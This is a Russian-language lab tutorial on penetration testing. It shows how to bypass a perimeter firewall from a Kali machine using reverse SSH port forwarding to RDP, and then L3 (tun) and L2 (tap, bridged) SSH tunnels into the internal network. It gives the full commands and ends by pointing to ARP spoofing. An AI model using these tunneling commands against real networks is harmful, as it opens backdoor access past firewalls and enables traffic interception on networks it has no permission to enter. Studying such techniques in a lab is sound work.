# Проникновение вовнутрь периметра инфраструктуры.
В данной статье рассматриваются способы проникновения вовнутрь периметра инфраструктуры с использованием проброса портов, а также организации SSH-тоннеля вовнутрь инфраструктуры.
## Технология SSH Port forwarding
Имеем данную инфрастуктуру
**Необходимо обойти межсетевой экран и получить доступ на локальное устройство вовнутрь инфраструктуры.**
Для начала попробуем реализовать обычное SSH-соединение между Kali, находящейся за пределами инфраструктуры и Win-10, которая внутри инфрастуктуры.
Ip- адресс Kali: 192.168.137.133
Ip- адрес Win-10: 192.168.1.102

**Подключиться изнутри инфрастуктуры вовне по SSH можно! Firewall не блокирует эту возможность.**

**Однако осуществить подобное соединение извне инфраструктуры невозможно.**
Наша задача попасть на локальную машинку win-10 извне, обойдя ограничения firewall-a. Для этого нужно будет использовать технологию SSH Port Forwarding или SSH tunneling. **Туннелирование SSH** или **переадресация портов SSH** — это метод передачи произвольных данных по зашифрованному соединению SSH. Туннели SSH позволяют перенаправлять подключения к локальному порту (то есть к порту на вашем собственном рабочем столе) на удаленную машину по защищенному каналу.
**То есть подключаясь к некоторому порту на нашей Kali, наше соединение будет переадресовываться непосредственно на Win-10.**
Реализуем данную технологию, прописав на Win-10 следующую команду.
> **ssh -R 3395:locahost:3389 user@192.168.137.133**
* 3395 - порт на kali, при подключении к которому, мы будем подключаться к Win-10
* locahost:3389 - адрес и порт самой WIn-10, порт 3389 - это RDP (для осуществления удаленного доступа)
* user@192.168.137.133 - пользователь и адрес Kali

На Kali появился порт 3395

Попробуем подключиться.

**Соединение установлено!**
Доступ к Win-10 есть.

Но как только мы прервали SSH-соединение на Win-10, порт 3395 на Kali пропал.

**Кроме того, можно реализовать подключение к любой машинке, находящейся внутри инфраструктуры, просто заменив locahost на адрес той машинке, к которой необходимо получить досутп!**
## Технология SSH Tunneling L3
Теперь попробуем реализовать **SSH-туннелирование**.
В рамках SSH-туннелирования устанавливается соединение между клиентом и сервером, оно зашифровывается и тем самым позволяет защитить конфиденциальность и целостность данных.
SSH-туннели применяются для:
* Предоставления зашифрованных каналов для протоколов, использующих открытый текст
* Открытия бэкдоров в частные сети
* Обхода сетевых экранов
Нам интересен непосредственно обход сетвого экрана.
Для начала нужно подключить **SSH tunneling** на Kali, так же нужно убедиться, что конфигурационный файл сервера в принципе существует потому что **Клиент OpenSSH** может нормально работать без файла конфигурации, а вот **Сервер OpenSSH** не может работать без своего файла конфигурации.
**Запускаем файл config**
> **nano /etc/ssh/sshd_config**

**Разрешим логиниться от root.**

**Включаем туннелирование.**

**Перезапускаем SSH-сервер.**
> **service ssh restart**

Теперь есть возможность логиниться от root, однако сначала **нужно поменять пароль**.
> **passwd root**

Для реализации туннелирования нам необходимо использовать **TUN - интерфейсы.**
**Tun/tap interfaces** - это функция, предоставляемая Linux (и, возможно, другими UNIX-подобными операционными системами), которая может выполнять userspace networking, то есть, разрешить программе пространства пользователя просматривать исходный сетевой трафик (на уровне Ethernet или IP) и выполнять любые подобные операции.
Tun / Tap интерфейсы - **software-only interfaces**, Что означает, что они существуют только в ядре, и в отличие от обычных сетевых интерфейсов, у них нет физических аппаратных компонентов.
Создаем нулевой tun интерфейс на Debian и Kali.
* 192.168.137.133 - Ip-адрес Kali


Появился tun-интерфейс, но он пока выключен.
Настроим IP на tun интерфейсе.
> **ip addr add 10.8.0.1/24 dev tun0**

Включаем интерфейс.
> **ip link set tun0 up**

Появился Ip-адрес, и интерфейс включен.

Повторим те же действия на Debian-машинке.

С Kali можно пропинговать Debian.

Однако пропинговать сетку, а в частности машинку 192.168.1.101 пока не получается
Нам необходимо включить маршрутизацию на нашем debian.



Теперь настроим маршрут на Kali
> **ip route add 192.168.1.0/24 via 10.8.0.2**

Теперь все пингуется.

Ну почти все.. Файрвол все еще не пингуется.

Реализуем NAT на debian машинке
> **iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE**

Файрвол пингуется

## Технология SSH Tunneling L2

Произведем обновление.
> **apt update**


Докачаем пакет bridge-utils
> **apt install bridge-utils**

Изменим конфигурации настроек сети
Автоматически будут подниматься два порта, и их объединяющий бридж.

Перезапустим сетевой сервер. Настройки изменились!
> **service networking restart**

Далее из Debian-машинки по ssh подключаемся к Kali, создавая туннель
> **ssh root@192.168.137.133 -o Tunnel=ethernet -w any:any**

На Kali появился tap интерфейс

И на Debian тоже появился tap интерфейс.

Добавим появившийся tap интерфейс в Debian к bridge:
> **brctl addif br0 tap0**

Поднимем интерфейс и проверим его состояние.
> **ip link set dev tap0 up**

Так же поднимаем tap0 в Kali.

**Теперь с помощью dhclient мы можем получить на tap0 интерфейс ip-адрес!**

***И в итоге мы получаем доступ к внутренней сети на уровне L2***

**Теперь есть возможность провести ARP-spoofing или же подключиться к файрволу.**
***ARP-spoofing** — техника сетевой атаки, применяемая преимущественно в Ethernet, использующих протокол ARP сетях, основанная на использовании недостатков протокола ARP и позволяющая перехватывать трафик между узлами, которые расположены в пределах одного широковещательного домена.*